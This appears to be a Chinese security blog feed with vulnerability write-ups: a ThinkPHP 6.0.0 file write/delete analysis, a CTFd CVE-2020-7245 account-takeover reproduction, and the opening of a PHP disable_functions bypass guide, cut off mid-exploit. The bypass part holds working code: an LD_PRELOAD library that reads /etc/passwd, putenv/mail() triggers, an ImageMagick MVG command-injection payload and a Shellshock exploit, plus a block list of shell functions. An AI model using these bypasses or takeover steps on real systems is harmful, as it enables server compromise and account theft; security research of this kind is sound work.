class="keyword">$this</span>-&gt;data)) &#123;</span><br><span class="line">        $data = <span class="keyword">$this</span>-&gt;serialize(<span class="keyword">$this</span>-&gt;data);</span><br><span class="line"></span><br><span class="line">        <span class="keyword">$this</span>-&gt;handler-&gt;write($sessionId, $data);    </span><br><span class="line">    &#125; <span class="keyword">else</span> &#123;</span><br><span class="line">        <span class="keyword">$this</span>-&gt;handler-&gt;delete($sessionId);</span><br><span class="line">    &#125;</span><br><span class="line"></span><br><span class="line">    <span class="keyword">$this</span>-&gt;init = <span class="keyword">false</span>;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>这里我也进行了测试，看能否删掉在 web 根目录下的 000000000000000000.php，跟进 delete，</p><p><img src="https://blog-j0k3r.oss-cn-beijing.aliyuncs.com/assets/ThinkPHP_v6.0.0_ArbitraryFileWriting.assets/image-20200211024527031.png" alt="image-20200211024527031"></p><p>显然是通过 getFileName 获取文件名后直接进行删除操作了，但是 getFileName 函数会自动对文件名加上 <code>sess_</code> 前缀</p><p><img src="https://blog-j0k3r.oss-cn-beijing.aliyuncs.com/assets/ThinkPHP_v6.0.0_ArbitraryFileWriting.assets/image-20200211024704834.png" alt="image-20200211024704834"></p><p>这就直接导致在最后 unlink 删除操作之前的 <code>is_file</code> 判断过不了</p><p><img src="https://blog-j0k3r.oss-cn-beijing.aliyuncs.com/assets/ThinkPHP_v6.0.0_ArbitraryFileWriting.assets/image-20200211024827033.png" alt="image-20200211024827033"></p><p>这也算是比较经典的问题了，因为 php 在读写文件时使用的是 <code>php_stream_open_wrapper_ex</code> 进行流处理，其最后会使用 <code>tsrm_realpath</code> 函数将文件名标准化成一个绝对路径， 通过处理  <code>../</code> 等特殊符号，文件路径中间有不存在的目录时也不会影响，而判断文件存在、重命名、删除文件等操作无需打开文件流，也就不会进行这种处理，导致报错</p><p><img src="https://blog-j0k3r.oss-cn-beijing.aliyuncs.com/assets/ThinkPHP_v6.0.0_ArbitraryFileWriting.assets/image-20200211025421722.png" alt="image-20200211025421722"></p><h2 id="漏洞总结"><a href="#漏洞总结" class="headerlink" title="漏洞总结"></a>漏洞总结</h2><p>该漏洞主要危害还是文件写入，而文件删除实际测试来看还是比较有限制的，可操作性不强</p><p>v6 版本的 ThinkPHP 较之前版本还是有不少变化的，通过 debug 逐步分析漏洞能更好的捋清漏洞的形成过程，了解新的框架执行流程和开发思想</p><h2 id="Reference"><a href="#Reference" class="headerlink" title="Reference"></a>Reference</h2><p><a href="https://paper.seebug.org/1114/" target="_blank" rel="noopener">https://paper.seebug.org/1114/</a></p><p><a href="http://d1iv3.me/2018/04/15/从PHP源码看PHP文件操作缺陷与利用技巧/" target="_blank" rel="noopener">http://d1iv3.me/2018/04/15/%E4%BB%8EPHP%E6%BA%90%E7%A0%81%E7%9C%8BPHP%E6%96%87%E4%BB%B6%E6%93%8D%E4%BD%9C%E7%BC%BA%E9%99%B7%E4%B8%8E%E5%88%A9%E7%94%A8%E6%8A%80%E5%B7%A7/</a></p>]]></content>
    
    <summary type="html">
    
      &lt;p&gt;点击阅读&lt;/p&gt;
    
    </summary>
    
    
      <category term="漏洞分析" scheme="http://j0k3r.top/tags/%E6%BC%8F%E6%B4%9E%E5%88%86%E6%9E%90/"/>
    
      <category term="ThinkPHP" scheme="http://j0k3r.top/tags/ThinkPHP/"/>
    
  </entry>
  
  <entry>
    <title>CVE-2020-7245 CTFd 任意账户接管漏洞 分析</title>
    <link href="http://j0k3r.top/2020/03/01/ctfd-CVE-2020-7245/"/>
    <id>http://j0k3r.top/2020/03/01/ctfd-CVE-2020-7245/</id>
    <published>2020-02-29T16:00:00.000Z</published>
    <updated>2020-04-08T05:13:11.909Z</updated>
    
    <content type="html"><![CDATA[<p>影响版本：CTFd v2.0.0 - v2.2.2</p><a id="more"></a><h2 id="0x01-漏洞简介"><a href="#0x01-漏洞简介" class="headerlink" title="0x01 漏洞简介"></a>0x01 漏洞简介</h2><p>影响版本：CTFd v2.0.0 - v2.2.2</p><p>漏洞危害：接管任意帐户 (已知用户名且开启了电子邮件)</p><p>官方补丁：<a href="https://github.com/CTFd/CTFd/pull/1218/files" target="_blank" rel="noopener">https://github.com/CTFd/CTFd/pull/1218/files</a></p><h2 id="0x02-漏洞分析"><a href="#0x02-漏洞分析" class="headerlink" title="0x02 漏洞分析"></a>0x02 漏洞分析</h2><p>使用 CTFd v2.2.0 版本进行分析，直接本地以 debug 模式运行，在后台开启邮件验证并设置好 smtp 服务器配置信息用于后面发送重置邮件</p><h3 id="1-漏洞复现"><a href="#1-漏洞复现" class="headerlink" title="1. 漏洞复现"></a>1. 漏洞复现</h3><p>注册一个用户名为 targetUser 的用户，将该用户作为目标用户</p><p><img src="https://blog-j0k3r.oss-cn-beijing.aliyuncs.com/assets/ctfd-CVE-2020-7245.assets/image-20200301203639978.png" alt="image-20200301203639978"></p><p>新注册一个用户，用户名为 target 且用户名头部或者尾部添加空格</p><p><img src="https://blog-j0k3r.oss-cn-beijing.aliyuncs.com/https://blog-j0k3r.oss-cn-beijing.aliyuncs.com/assets/ctfd-CVE-2020-7245.assets/image-20200301210021213.png" alt="image-20200301210021213"></p><p>通过忘记密码来生成重置链接</p><p><img src="https://blog-j0k3r.oss-cn-beijing.aliyuncs.com/https://blog-j0k3r.oss-cn-beijing.aliyuncs.com/assets/ctfd-CVE-2020-7245.assets/image-20200301221537528.png" alt="image-20200301221537528"></p><p>访问链接即可重置目标用户的密码接管 target</p><h3 id="2-漏洞分析"><a href="#2-漏洞分析" class="headerlink" title="2. 漏洞分析"></a>2. 漏洞分析</h3><p>当我们再注册新用户的时候 CTFd 通过 /CTFd/auth.py 中的 register 函数进行处理</p><p><img src="https://blog-j0k3r.oss-cn-beijing.aliyuncs.com/assets/ctfd-CVE-2020-7245.assets/image-20200301204717551.png" alt="image-20200301204717551"></p><p>用户名，也就是代码中的 name 的值是直接从表单中获取的，然后用该 name 值查询数据库中是否有同名用户，如果 names 返回值不为空，则会得到一个用户名已存在的错误</p><p>在往下跟进</p><p><img src="https://blog-j0k3r.oss-cn-beijing.aliyuncs.com/assets/ctfd-CVE-2020-7245.assets/image-20200301205200682.png" alt="image-20200301205200682"></p><p>在其他如用户名长度、邮箱、密码等检查项没有问题之后，将该注册用户插入到数据库中，这时的 name 经过了 <code>strip()</code> 函数的处理， <code>strip()</code> 也是常用来移除字符串头尾指定字符的函数，默认是去除首尾的空格或换行符，也就是说这里入库前后的 name 是不同的</p><p>那么在用户名头部或者尾部添加若干空格即可绕过有关用户名唯一性的检测，使用该方法新注册一个账号，结果如下</p><p><img src="https://blog-j0k3r.oss-cn-beijing.aliyuncs.com/https://blog-j0k3r.oss-cn-beijing.aliyuncs.com/assets/ctfd-CVE-2020-7245.assets/image-20200301210021213.png" alt="image-20200301210021213"></p><p>那么只需要重置该用户密码即可接管 targetUser 用户，跟进看下 <code>reset_password</code> 函数，/CTFd/auth.py ，98 行</p><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br><span class="line">50</span><br><span class="line">51</span><br><span class="line">52</span><br><span class="line">53</span><br><span class="line">54</span><br><span class="line">55</span><br><span class="line">56</span><br></pre></td><td class="code"><pre><span class="line"><span class="function"><span class="keyword">def</span> <span class="title">reset_password</span><span class="params">(data=None)</span>:</span></span><br><span class="line">    <span class="keyword">if</span> data <span class="keyword">is</span> <span class="keyword">not</span> <span class="literal">None</span>:</span><br><span class="line">        <span class="keyword">try</span>:</span><br><span class="line">            name = unserialize(data, max_age=<span class="number">1800</span>)</span><br><span class="line">        <span class="keyword">except</span> (BadTimeSignature, SignatureExpired):</span><br><span class="line">            <span class="keyword">return</span> render_template(</span><br><span class="line">                <span class="string">"reset_password.html"</span>, errors=[<span class="string">"Your link has expired"</span>]</span><br><span class="line">            )</span><br><span class="line">        <span class="keyword">except</span> (BadSignature, TypeError, base64.binascii.Error):</span><br><span class="line">            <span class="keyword">return</span> render_template(</span><br><span class="line">                <span class="string">"reset_password.html"</span>, errors=[<span class="string">"Your reset token is invalid"</span>]</span><br><span class="line">            )</span><br><span class="line"></span><br><span class="line">        <span class="keyword">if</span> request.method == <span class="string">"GET"</span>:</span><br><span class="line">            <span class="keyword">return</span> render_template(<span class="string">"reset_password.html"</span>, mode=<span class="string">"set"</span>)</span><br><span class="line">        <span class="keyword">if</span> request.method == <span class="string">"POST"</span>:</span><br><span class="line">            user = Users.query.filter_by(name=name).first_or_404()</span><br><span class="line">            user.password = request.form[<span class="string">"password"</span>].strip()</span><br><span class="line">            db.session.commit()</span><br><span class="line">            log(</span><br><span class="line">                <span class="string">"logins"</span>,</span><br><span class="line">                format=<span class="string">"[&#123;date&#125;] &#123;ip&#125; -  successful password reset for &#123;name&#125;"</span>,</span><br><span class="line">                name=name,</span><br><span class="line">            )</span><br><span class="line">            db.session.close()</span><br><span class="line">            <span class="keyword">return</span> redirect(url_for(<span class="string">"auth.login"</span>))</span><br><span class="line"></span><br><span class="line">    <span class="keyword">if</span> request.method == <span class="string">"POST"</span>:</span><br><span class="line">        email_address = request.form[<span class="string">"email"</span>].strip()</span><br><span class="line">        team = Users.query.filter_by(email=email_address).first()</span><br><span class="line"></span><br><span class="line">        get_errors()</span><br><span class="line"></span><br><span class="line">        <span class="keyword">if</span> config.can_send_mail() <span class="keyword">is</span> <span class="literal">False</span>:</span><br><span class="line">            <span class="keyword">return</span> render_template(</span><br><span class="line">                <span class="string">"reset_password.html"</span>,</span><br><span class="line">                errors=[<span class="string">"Email could not be sent due to server misconfiguration"</span>],</span><br><span class="line">            )</span><br><span class="line"></span><br><span class="line">        <span class="keyword">if</span> <span class="keyword">not</span> team:</span><br><span class="line">            <span class="keyword">return</span> render_template(</span><br><span class="line">                <span class="string">"reset_password.html"</span>,</span><br><span class="line">                errors=[</span><br><span class="line">                    <span class="string">"If that account exists you will receive an email, please check your inbox"</span></span><br><span class="line">                ],</span><br><span class="line">            )</span><br><span class="line"></span><br><span class="line">        email.forgot_password(email_address, team.name)</span><br><span class="line"></span><br><span class="line">        <span class="keyword">return</span> render_template(</span><br><span class="line">            <span class="string">"reset_password.html"</span>,</span><br><span class="line">            errors=[</span><br><span class="line">                <span class="string">"If that account exists you will receive an email, please check your inbox"</span></span><br><span class="line">            ],</span><br><span class="line">        )</span><br><span class="line">    <span class="keyword">return</span> render_template(<span class="string">"reset_password.html"</span>)</span><br></pre></td></tr></table></figure><p>可以输入自己的 email ，接着通过 <code>email.forgot_password(email_address, team.name)</code>发送找回密码的邮件</p><p><img src="https://blog-j0k3r.oss-cn-beijing.aliyuncs.com/assets/ctfd-CVE-2020-7245.assets/image-20200301215024033.png" alt="image-20200301215024033"></p><p>跟进 <code>forgot_password</code> 函数，<code>/CTFd/utils/email/__init__.py</code>，19 行</p><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br></pre></td><td class="code"><pre><span class="line"><span class="function"><span class="keyword">def</span> <span class="title">forgot_password</span><span class="params">(email, team_name)</span>:</span></span><br><span class="line">    token = serialize(team_name)</span><br><span class="line">    text = <span class="string">"""Did you initiate a password reset? Click the following link to reset your password:</span></span><br><span class="line"><span class="string"></span></span><br><span class="line"><span class="string">&#123;0&#125;/&#123;1&#125;</span></span><br><span class="line"><span class="string"></span></span><br><span class="line"><span class="string">"""</span>.format(</span><br><span class="line">        url_for(<span class="string">"auth.reset_password"</span>, _external=<span class="literal">True</span>), token</span><br><span class="line">    )</span><br><span class="line"></span><br><span class="line">    <span class="keyword">return</span> sendmail(email, text)</span><br></pre></td></tr></table></figure><p>此处的 <code>team_name</code> 是要接管的用户名，查看序列化生成 token 的方法， /CTFd/utils/security/signing.py</p><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br></pre></td><td class="code"><pre><span class="line"><span class="function"><span class="keyword">def</span> <span class="title">serialize</span><span class="params">(data, secret=None)</span>:</span></span><br><span class="line">    <span class="keyword">if</span> secret <span class="keyword">is</span> <span class="literal">None</span>:</span><br><span class="line">        secret = current_app.config[<span class="string">"SECRET_KEY"</span>]</span><br><span class="line">    s = URLSafeTimedSerializer(secret)</span><br><span class="line">    <span class="keyword">return</span> s.dumps(data)</span><br><span class="line"></span><br><span class="line"></span><br><span class="line"><span class="function"><span class="keyword">def</span> <span class="title">unserialize</span><span class="params">(data, secret=None, max_age=<span class="number">432000</span>)</span>:</span></span><br><span class="line">    <span class="keyword">if</span> secret <span class="keyword">is</span> <span class="literal">None</span>:</span><br><span class="line">        secret = current_app.config[<span class="string">"SECRET_KEY"</span>]</span><br><span class="line">    s = URLSafeTimedSerializer(secret)</span><br><span class="line">    <span class="keyword">return</span> s.loads(data, max_age=max_age)</span><br></pre></td></tr></table></figure><p>使用了 URLSafeTimedSerializer  生成 token</p><p>到这里，利用流程就很明确了</p><p><img src="https://blog-j0k3r.oss-cn-beijing.aliyuncs.com/assets/ctfd-CVE-2020-7245.assets/image-20200301221251766.png" alt></p><p>得到重置密码链接</p><p><img src="https://blog-j0k3r.oss-cn-beijing.aliyuncs.com/assets/ctfd-CVE-2020-7245.assets/image-20200301221537528.png" alt="image-20200301221537528"></p><p>访问链接，填写新密码，再重新登陆即可接管目标用户</p><p>中间在访问重置链接之前的修改用户名的步骤不做也是可以的，因为在 <code>reset_password</code> 函数中反序列化重置链接的 data 得到用户名后，查询方法是 <code>Users.query.filter_by(name=name).first_or_404()</code> ，一般来说目标用户的 id 总是靠前的</p><h2 id="Reference"><a href="#Reference" class="headerlink" title="Reference:"></a>Reference:</h2><p><a href="https://www.colabug.com/2020/0204/6940556/amp/" target="_blank" rel="noopener">https://www.colabug.com/2020/0204/6940556/amp/</a></p><p><a href="https://github.com/CTFd/CTFd/pull/1218/files" target="_blank" rel="noopener">https://github.com/CTFd/CTFd/pull/1218/files</a></p>]]></content>
    
    <summary type="html">
    
      &lt;p&gt;影响版本：CTFd v2.0.0 - v2.2.2&lt;/p&gt;
    
    </summary>
    
    
      <category term="漏洞分析" scheme="http://j0k3r.top/tags/%E6%BC%8F%E6%B4%9E%E5%88%86%E6%9E%90/"/>
    
  </entry>
  
  <entry>
    <title>PHP 突破 disable_functions 常用姿势以及使用 Fuzz 挖掘含内部系统调用的函数</title>
    <link href="http://j0k3r.top/2020/02/13/disable_functions-bypass/"/>
    <id>http://j0k3r.top/2020/02/13/disable_functions-bypass/</id>
    <published>2020-02-12T16:00:00.000Z</published>
    <updated>2020-03-26T10:19:02.074Z</updated>
    
    <content type="html"><![CDATA[<p>文章首发于安全客：<a href="https://www.anquanke.com/post/id/197745" target="_blank" rel="noopener">https://www.anquanke.com/post/id/197745</a></p><a id="more"></a><p>在渗透过程中，有很多 PHP 站点往往设置了disable_functions 来禁止用户调用某些危险函数，给 Getshell 带来了很大的不便，本文对一些常见的绕过方法的原理和使用稍做总结，顺便分享一个 Fuzz 方法，学习一下。</p><p>如有错误，欢迎师傅们指正</p><h2 id="0x01-常用姿势"><a href="#0x01-常用姿势" class="headerlink" title="0x01 常用姿势"></a>0x01 常用姿势</h2><h3 id="1-黑名单-bypass"><a href="#1-黑名单-bypass" class="headerlink" title="1. 黑名单 bypass"></a>1. 黑名单 bypass</h3><p>众所周知，disable_functions 是基于黑名单来实现对某些函数使用的限制的，既然是黑名单有时候就难免会有漏网之鱼</p><p>PHP 中能直接执行系统程序的函数</p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br></pre></td><td class="code"><pre><span class="line">system()</span><br><span class="line">shell_exec(）</span><br><span class="line">exec()</span><br><span class="line">passthru()</span><br><span class="line">popen()</span><br><span class="line">proc_open()</span><br><span class="line">pcntl_exec()</span><br><span class="line">dl() // 加载自定义 php 扩展</span><br></pre></td></tr></table></figure><p>PHP 中执行运算符（反引号）的效果和 shell_exec() 是相同的</p><p>一些比较严格的 disable_functions  限制项</p><figure class="highlight php"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">passthru,exec,system,putenv,chroot,chgrp,chown,shell_exec,popen,proc_open,pcntl_exec,ini_alter,ini_restore,dl,openlog,syslog,readlink,symlink,popepassthru,pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,imap_open,apache_setenv</span><br></pre></td></tr></table></figure><h3 id="2-LD-PRELOAD-amp-putenv-bypass-disable-functions"><a href="#2-LD-PRELOAD-amp-putenv-bypass-disable-functions" class="headerlink" title="2. LD_PRELOAD &amp; putenv() bypass disable_functions"></a>2. LD_PRELOAD &amp; putenv() bypass disable_functions</h3><p>Windows？</p><p>LD_PRELOAD 是一个 Unix 中比较特殊的环境变量，也产生过很多安全问题</p><p>简介</p><blockquote><p>​    LD_PRELOAD 是一个可选的 Unix 环境变量，包含一个或多个共享库或共享库的路径，加载程序将在包含 C 运行时库（libc.so）的任何其他共享库之前加载该路径。这称为预加载库。</p></blockquote><blockquote><p>​    也就是说它可以影响程序的运行时的链接（Runtime linker），它允许你定义在程序运行前优先加载的动态链接库。即我们可以自己生成一个动态链接库加载，以覆盖正常的函数库，也可以注入恶意程序，执行恶意命令。</p></blockquote><p>LD_PRELOAD 绕过 disable_functions 的原理就是劫持系统函数，使程序加载恶意动态链接库文件，从而执行系统命令等敏感操作</p><p>举个例子，我们来改变一下 Linux 系统中最常见的命令 —— <code>id</code></p><p><code>strace -f id</code></p><p>使用 strace 对应用的系统调用和信号传递的跟踪结果来对应用进行分析，了解应用工作过程的</p><p>strace会记录和解析命令进程的所有系统调用以及这个进程所接收到的所有的信号值，要在 Docker 中使用 strace 需要先关闭安全功能再启动 <code>docker run --security-opt seccomp:unconfined -d xxx</code></p><p><img src="https://blog-j0k3r.oss-cn-beijing.aliyuncs.com/assets/disable_functions-bypass.assets/dis1.png" alt></p><p>像这种简单的无参系统函数就是比较好的劫持对象，</p><p><code>man 2 geteuid</code> 命令查看 geteuid 系统函数需要什么头文件和格式</p><p><img src="https://blog-j0k3r.oss-cn-beijing.aliyuncs.com/assets/disable_functions-bypass.assets/dis2.png" alt></p><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br></pre></td><td class="code"><pre><span class="line"><span class="meta">#<span class="meta-keyword">include</span> <span class="meta-string">&lt;unistd.h&gt;</span></span></span><br><span class="line"><span class="meta">#<span class="meta-keyword">include</span> <span class="meta-string">&lt;sys/types.h&gt;</span></span></span><br><span class="line"></span><br><span class="line"><span class="function"><span class="keyword">uid_t</span> <span class="title">geteuid</span><span class="params">(<span class="keyword">void</span>)</span></span>&#123;</span><br><span class="line">        system(<span class="string">"cat /etc/passwd"</span>);</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>生成动态链接库</p><p><code>gcc --share -fPIC bad.c -o bad.so</code></p><p>使用 LD_PRELOAD 加载刚生成的 bad.so，再执行 <code>id</code> 命令看看效果</p><p><code>LD_PRELOAD=./bad.so id</code></p><p><strong>LD_PRELOAD 作为进程独占环境变量，它与待执行命令间必须为空白字符</strong></p><p><img src="https://blog-j0k3r.oss-cn-beijing.aliyuncs.com/assets/disable_functions-bypass.assets/dis3.png" alt></p><p>成功执行的我们自定义的恶意代码，读取了 passwd 文件</p><p>通用动态链接库代码</p><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br></pre></td><td class="code"><pre><span class="line"><span class="meta">#<span class="meta-keyword">include</span> <span class="meta-string">&lt;stdlib.h&gt;</span></span></span><br><span class="line">__attribute__((constructor)) <span class="function"><span class="keyword">void</span> <span class="title">j0k3r</span><span class="params">()</span></span>&#123;</span><br><span class="line">    unsetenv(<span class="string">"LD_PRELOAD"</span>);</span><br><span class="line">    <span class="keyword">if</span> (getenv(<span class="string">"cmd"</span>) != <span class="literal">NULL</span>)&#123;</span><br><span class="line">        system(getenv(<span class="string">"cmd"</span>));</span><br><span class="line">    &#125;<span class="keyword">else</span>&#123;</span><br><span class="line">        system(<span class="string">"echo 'no cmd' &gt; /tmp/cmd.output"</span>);</span><br><span class="line">    &#125;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>​    利用 GNU C 中的特殊语法 <code>__attribute__ ((attribute-list))</code>，当参数为 constructor 时就可以在加载共享库时运行，通常是在程序启动过程中，因为带有”构造函数”属性的函数将在 main() 函数之前被执行，类似的，若是换成 destructor 参数，则该函数会在 main() 函数执行之后或者 exit() 被调用后被自动执行</p><p>也就是说在 PHP 运行过程中只要有新程序启动，在我们加载恶意动态链接库的条件下，便可以执行 .so 中的恶意代码</p><p>比如 PHP 中经典的 mail() 函数，看看当 PHP 执行 mail() 函数的时候有没有执行程序或者启动新进程</p><p><code>strace -f php -r &quot;mail(&#39;&#39;,&#39;&#39;,&#39;&#39;,&#39;&#39;);&quot; 2&gt;&amp;1 | grep -E &quot;execve|fork|vfork&quot;</code></p><p><img src="https://blog-j0k3r.oss-cn-beijing.aliyuncs.com/assets/disable_functions-bypass.assets/dis5.png" alt></p><p>​    可以明显发现 mai() 函数使用 execve 启动了 sendmail，接着可以使用 readelf -Ws 或者 strace 命令查看 sendmail 程序的系统函数调用情况</p><p>在 PHP 中使用 putenv() 函数设置环境变量, 仅存活于当前请求期间。在请求结束时环境会恢复到初始状态</p><figure class="highlight php"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br></pre></td><td class="code"><pre><span class="line"><span class="meta">&lt;?php</span></span><br><span class="line">putenv(<span class="string">"cmd=cat /etc/passwd"</span>);</span><br><span class="line">putenv(<span class="string">"LD_PRELOAD=./bad.so"</span>);</span><br><span class="line">mail(<span class="string">''</span>,<span class="string">''</span>,<span class="string">''</span>,<span class="string">''</span>);</span><br></pre></td></tr></table></figure><p>运行该 PHP 文件即可成功执行命令，就算没有安装 sendmail 也能成功利用</p><p><img src="https://blog-j0k3r.oss-cn-beijing.aliyuncs.com/assets/disable_functions-bypass.assets/dis6.png" alt></p><p>如果 mail() 函数无法使用，也可以使用 <code>error_log(&#39;&#39;,1)</code> 或者 <code>mb_send_mail(&#39;&#39;,&#39;&#39;,&#39;&#39;)</code> 和 <code>imap_mail(&quot;1@a.com&quot;,&quot;0&quot;,&quot;1&quot;,&quot;2&quot;,&quot;3&quot;)</code>（如果 PHP 开启了 imap 模块）</p><p>如果 PHP 安装了 imagick 模块，则还可以使用 Imagick，其在遇到 MPEG format 的时候，会调用 ffmpeg 进程来处理，比如使用 <code>new Imagick(&#39;1.mp4&#39;)</code> </p><p>文章后面有一部分关于确定这类使用 execve 系统调用的 php 函数的 Fuzz 方法</p><h3 id="3-ImageMagick-bypass-disable-functions"><a href="#3-ImageMagick-bypass-disable-functions" class="headerlink" title="3. ImageMagick bypass disable_functions"></a>3. ImageMagick bypass disable_functions</h3><p>利用 ImageMagick 命令执行漏洞（CVE-2016–3714）</p><figure class="highlight php"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br></pre></td><td class="code"><pre><span class="line"><span class="meta">&lt;?php</span></span><br><span class="line"><span class="keyword">echo</span> <span class="string">"Disable Functions: "</span> . ini_get(<span class="string">'disable_functions'</span>) . <span class="string">"\n"</span>;</span><br><span class="line"></span><br><span class="line"><span class="function"><span class="keyword">function</span> <span class="title">AAAA</span><span class="params">()</span></span>&#123;</span><br><span class="line">$command = <span class="string">'curl 127.0.0.1:7777'</span>;</span><br><span class="line"></span><br><span class="line">$exploit = <span class="string">&lt;&lt;&lt;EOF</span></span><br><span class="line"><span class="string">push graphic-context</span></span><br><span class="line"><span class="string">viewbox 0 0 640 480</span></span><br><span class="line"><span class="string">fill 'url(https://example.com/image.jpg"|<span class="subst">$command</span>")'</span></span><br><span class="line"><span class="string">pop graphic-context</span></span><br><span class="line"><span class="string">EOF;</span></span><br><span class="line"></span><br><span class="line">file_put_contents(<span class="string">"KKKK.mvg"</span>, $exploit);</span><br><span class="line">$thumb = <span class="keyword">new</span> Imagick();</span><br><span class="line">$thumb-&gt;readImage(<span class="string">'KKKK.mvg'</span>);</span><br><span class="line">$thumb-&gt;writeImage(<span class="string">'KKKK.png'</span>);</span><br><span class="line">$thumb-&gt;clear();</span><br><span class="line">$thumb-&gt;destroy();</span><br><span class="line">unlink(<span class="string">"KKKK.mvg"</span>);</span><br><span class="line">unlink(<span class="string">"KKKK.png"</span>);</span><br><span class="line">&#125;</span><br><span class="line">AAAA();</span><br><span class="line"><span class="meta">?&gt;</span></span><br></pre></td></tr></table></figure><p>复现环境 <a href="https://github.com/Medicean/VulApps/tree/master/i/imagemagick/1" target="_blank" rel="noopener">https://github.com/Medicean/VulApps/tree/master/i/imagemagick/1</a></p><h3 id="4-PHP-5-x-Shellshock-Exploit-bypass-disable-functions"><a href="#4-PHP-5-x-Shellshock-Exploit-bypass-disable-functions" class="headerlink" title="4. PHP 5.x Shellshock Exploit (bypass disable_functions)"></a>4. PHP 5.x Shellshock Exploit (bypass disable_functions)</h3><p>PHP &lt; 5.6.2 - ‘Shellshock’ Safe Mode / Disable Functions Bypass / Command Injection</p><p>exploit-db 上的脚本</p><figure class="highlight php"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment"># Exploit Title: PHP 5.x Shellshock Exploit (bypass disable_functions)</span></span><br><span class="line"><span class="comment"># Google Dork: none</span></span><br><span class="line"><span class="comment"># Date: 10/31/2014</span></span><br><span class="line"><span class="comment"># Exploit Author: Ryan King (Starfall)</span></span><br><span class="line"><span class="comment"># Vendor Homepage: http://php.net</span></span><br><span class="line"><span class="comment"># Software Link: http://php.net/get/php-5.6.2.tar.bz2/from/a/mirror</span></span><br><span class="line"><span class="comment"># Version: 5.* (tested on 5.6.2)</span></span><br><span class="line"><span class="comment"># Tested on: Debian 7 and CentOS 5 and 6</span></span><br><span class="line"><span class="comment"># CVE: CVE-2014-6271</span></span><br><span class="line">&lt;pre&gt;</span><br><span class="line"><span class="meta">&lt;?php</span> <span class="keyword">echo</span> <span class="string">"Disabled functions: "</span>.ini_get(<span class="string">'disable_functions'</span>).<span class="string">"\n"</span>; <span class="meta">?&gt;</span></span><br><span class="line"><span class="meta">&lt;?php</span></span><br><span class="line"><span class="function"><span class="keyword">function</span> <span class="title">shellshock</span><span class="params">($cmd)</span> </span>&#123; <span class="comment">// Execute a command via CVE-2014-6271 @ mail.c:283</span></span><br><span class="line">   <span 